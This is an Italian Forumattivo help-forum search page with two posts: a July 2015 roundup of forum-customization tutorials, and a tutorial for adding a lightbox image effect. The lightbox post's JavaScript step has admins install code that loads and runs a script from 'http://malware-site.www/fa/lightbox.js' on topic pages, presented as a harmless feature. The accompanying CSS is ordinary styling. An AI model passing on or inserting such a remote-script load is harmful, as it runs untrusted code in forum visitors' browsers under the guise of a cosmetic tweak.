La data/ora di oggi è Sab 19 Ott 2019 - 8:07

2 risultati trovati per "popup"

Tutorial: selezione di Luglio

Tutorial: selezione di Luglio


Carissimi membri,

Forumattivo è orgoglioso di annunciare l'apertura di una nuova #rubrica mensile. Ogni mese infatti, verrà pubblicato un annuncio contente un pack di 5+ tutorial e astuzie per il tuo forum.

Hashtag popup su Forum dei Forum: Aiuto per Forumattivo Scherm33

Saranno selezionati i migliori #tutorial ed #astuzie per aumentare le personalizzazione dei vostri forum. Iniziamo con il mese di... LUGLIO! /o/



1. Personalizza la tua pagina di errore 404: pagina non trovata:

Hashtag popup su Forum dei Forum: Aiuto per Forumattivo Scherm34

Quando si fa clic su un collegamento ed è sbagliato o non esiste, ci viene dato un messaggio di errore. Tuttavia, è un messaggio noioso e poco ricco di informazioni. Con questo script, sarà possibile modificare la pagina di errore (#404) a proprio piacimento.

Hashtag popup su Forum dei Forum: Aiuto per Forumattivo Tutori10Personalizza la tua pagina di errore 404



2. Creare un widget per il tuo staff online:

Hashtag popup su Forum dei Forum: Aiuto per Forumattivo 5gDmL8y

Molto spesso, vorremmo mostrare agli utenti connessi, tramite le statistiche esistenti nel nostro forum,che i membri dello staff sono presenti. Con questo tutorial ti insegnerò come creare un #widget che visualizza automaticamente quando un membro dello staff è connesso.

Hashtag popup su Forum dei Forum: Aiuto per Forumattivo Tutori10Creare un widget per il tuo staff online



3. Effetto zoom sulle immagini nei topic:

Hashtag popup su Forum dei Forum: Aiuto per Forumattivo Scherm35

Grazie a questo tutorial potrai inserire la funzionalità di #ingrandire le immagini al passaggio del mouse. Per fare tutto questo, dovrai aggiungere alcuni codici CSS sul tuo forum.

Hashtag popup su Forum dei Forum: Aiuto per Forumattivo Astuce10Effetto zoom sulle immagini nei topic



4. Menu di connessione rapida popup:

Hashtag popup su Forum dei Forum: Aiuto per Forumattivo Scherm36

Normalmente cliccando sul bottone login nel menu di navigazione si viene reindirizzati alla pagina di #connessione.. con questa risorsa non sarà più necessario! Comparirà un popup dal quale potrete collegarvi senza cambiare pagina.

Hashtag popup su Forum dei Forum: Aiuto per Forumattivo Tutori10Menu di connessione rapida popup



5. Personalizzare la funzione degli hashtag:

Hashtag popup su Forum dei Forum: Aiuto per Forumattivo Scherm17

Con questo tutorial, scoprirai come poter personalizzare graficamente, tramite CSS, gli #hashtag sul tuo forum!

Hashtag popup su Forum dei Forum: Aiuto per Forumattivo Astuce10Personalizzare la funzione degli hashtag



6. Effetto lightbox nel tuo forum:

Hashtag popup su Forum dei Forum: Aiuto per Forumattivo Scherm37

Il forum di supporto portoghese ha realizzato un fantastico video per spiegare il funzionamento di questa astuzia Forumattivo. Semplicemente, per le immagini all'interno dei tuoi topic basterà un click per aprire un #popup con una visualizazione dell'immagine più in grande!

Hashtag popup su Forum dei Forum: Aiuto per Forumattivo Tutori10Effetto lightbox nel tuo forum



:categoria:E anche questo pack è giunto al termine! Se dovessi avere qualche problema con i tutorial, apri pure una nuova discussione in Problemi con lo script (Codici) :zen:

Se questi contenuti ti sono piaciuti, passa per la sezione Tutoriali, ne potrai trovare molti altri! :W:

Buona giornata da Forumattivo :thanks:


Da MattiaDes
il Mer 15 Lug 2015 - 10:49
 
Situato in: Avvisi ed aggiornamenti
Argomento: Tutorial: selezione di Luglio
Risposte: 2
Visite: 1056

Effetto lightbox nel tuo forum !

Effetto lightbox nel tuo forum !



Hashtag popup su Forum dei Forum: Aiuto per Forumattivo Templates Effetto lightbox per le tue immagini !

Il forum di supporto portoghese ha realizzato un fantastico video per spiegare il funzionamento di questa astuzia Forumattivo. Semplicemente, per le immagini all'interno dei tuoi topic basterà un click per aprire un #popup con una visualizazione dell'immagine più in grande!
Hashtag popup su Forum dei Forum: Aiuto per Forumattivo Astuce10 Fancybox | sito ufficiale




Installazione codice javascript

semplicemente andate verso Pannello di amministrazione ► Moduli ► HTML & Javascript ► Gestione del codice javascript e create un nuovo codice javascript :new:


  • Titolo: a tua scelta
  • Dove: negli argomenti Hashtag popup su Forum dei Forum: Aiuto per Forumattivo Checkb10
  • Codice:
    Codice:
    jQuery(function(){
    jQuery.getScript("http://malware-site.www/fa/lightbox.js");
    });




Gestione dello stile

a questo punto andiamo verso Pannello di amministrazione ► Visualizzazione ► Immagini e colori ► Colori ► Foglio di stile (CSS) e aggiungi questo codice css:

Codice:

a.fa_fancybox img{
  cursor: pointer;
  cursor: -webkit-zoom-in;
  cursor: -moz-zoom-in;
}
/* general */
.fancybox-tmp iframe, .fancybox-tmp object {
  vertical-align: top;
  padding: 0;
  margin: 0;
}

.fancybox-wrap {
  position: absolute;
  top: 0;
  left: 0;
  z-index: 920;
}

.fancybox-skin {
  position: relative;
  padding: 0;
  margin: 0;
  background: #f9f9f9;
  color: #444;
  text-shadow: none;
  -webkit-border-radius: 4px;
      -moz-border-radius: 4px;
          border-radius: 4px;
}

.fancybox-opened {
  z-index: 930;
}

.fancybox-opened .fancybox-skin {
  -webkit-box-shadow: 0 10px 25px rgba(0, 0, 0, 0.5);
      -moz-box-shadow: 0 10px 25px rgba(0, 0, 0, 0.5);
          box-shadow: 0 10px 25px rgba(0, 0, 0, 0.5);
}

.fancybox-outer, .fancybox-inner {
  padding: 0;
  margin: 0;
  position: relative;
  outline: none;
}

.fancybox-inner {
  overflow: hidden;
}

.fancybox-type-iframe .fancybox-inner {
  -webkit-overflow-scrolling: touch;
}

.fancybox-error {
  color: #444;
  font: 14px/20px "Helvetica Neue",Helvetica,Arial,sans-serif;
  margin: 0;
  padding: 10px;
}

.fancybox-image, .fancybox-iframe {
  display: block;
  width: 100%;
  height: 100%;
  border: 0;
  padding: 0;
  margin: 0;
  vertical-align: top;
}

.fancybox-image {
  max-width: 100%;
  max-height: 100%;
}

#fancybox-loading, .fancybox-close, .fancybox-prev span, .fancybox-next span {
  background-image: url('http://i45.servimg.com/u/f45/17/45/19/77/fancyb10.png');
}

#fancybox-loading {
  position: fixed;
  top: 50%;
  left: 50%;
  margin-top: -22px;
  margin-left: -22px;
  background-position: 0 -108px;
  opacity: 0.8;
  cursor: pointer;
  z-index: 920;
}

#fancybox-loading div {
  width: 44px;
  height: 44px;
  background: url('http://i45.servimg.com/u/f45/17/45/19/77/fancyb10.gif') center center no-repeat;
}

.fancybox-close {
  position: absolute;
  top: -18px;
  right: -18px;
  width: 36px;
  height: 36px;
  cursor: pointer;
  z-index: 940;
}

.fancybox-nav {
  position: absolute;
  top: 0;
  width: 40%;
  height: 100%;
  cursor: pointer;
  background: transparent url('http://i45.servimg.com/u/f45/17/45/19/77/blank10.gif'); /* helps IE */
  -webkit-tap-highlight-color: rgba(0,0,0,0);
  z-index: 940;
}

.fancybox-prev {
  left: 0;
}

.fancybox-next {
  right: 0;
}

.fancybox-nav span {
  position: absolute;
  top: 50%;
  width: 36px;
  height: 34px;
  margin-top: -18px;
  cursor: pointer;
  z-index: 940;
  visibility: hidden;
}

.fancybox-prev span {
  left: 20px;
  background-position: 0 -36px;
}

.fancybox-next span {
  right: 20px;
  background-position: 0 -72px;
}

.fancybox-nav:hover span {
  visibility: visible;
}

.fancybox-tmp {
  position: absolute;
  top: -9999px;
  left: -9999px;
  padding: 0;
  overflow: visible;
  visibility: hidden;
}

/* Overlay helper */

#fancybox-overlay {
  position: absolute;
  top: 0;
  left: 0;
  overflow: hidden;
  display: none;
  z-index: 910;
  background: #000;
}

#fancybox-overlay.overlay-fixed {
  position: fixed;
  bottom: 0;
  right: 0;
}

/* Title helper */

.fancybox-title {
  visibility: hidden;
  font: normal 13px/20px "Helvetica Neue",Helvetica,Arial,sans-serif;
  position: relative;
  text-shadow: none;
  z-index: 950;
}

.fancybox-opened .fancybox-title {
  visibility: visible;
}

.fancybox-title-float-wrap {
  position: absolute;
  bottom: 0;
  right: 50%;
  margin-bottom: -35px;
  z-index: 930;
  text-align: center;
}

.fancybox-title-float-wrap .child {
  display: inline-block;
  margin-right: -100%;
  padding: 2px 20px;
  background: transparent; /* Fallback for web browsers that doesn't support RGBa */
  background: rgba(0, 0, 0, 0.8);
  -webkit-border-radius: 15px;
      -moz-border-radius: 15px;
          border-radius: 15px;
  text-shadow: 0 1px 2px #222;
  color: #FFF;
  font-weight: bold;
  line-height: 24px;
  white-space: nowrap;
}

.fancybox-title-outside-wrap {
  position: relative;
  margin-top: 10px;
  color: #fff;
}

.fancybox-title-inside-wrap {
  margin-top: 10px;
}

.fancybox-title-over-wrap {
  position: absolute;
  bottom: 0;
  left: 0;
  color: #fff;
  padding: 10px;
  background: #000;
  background: rgba(0, 0, 0, .8);
}


e abbiamo concluso! :good:


Da Niko
il Lun 29 Giu 2015 - 14:39
 
Situato in: Tutorial
Argomento: Effetto lightbox nel tuo forum !
Risposte: 0
Visite: 735

Torna in alto

Vai verso: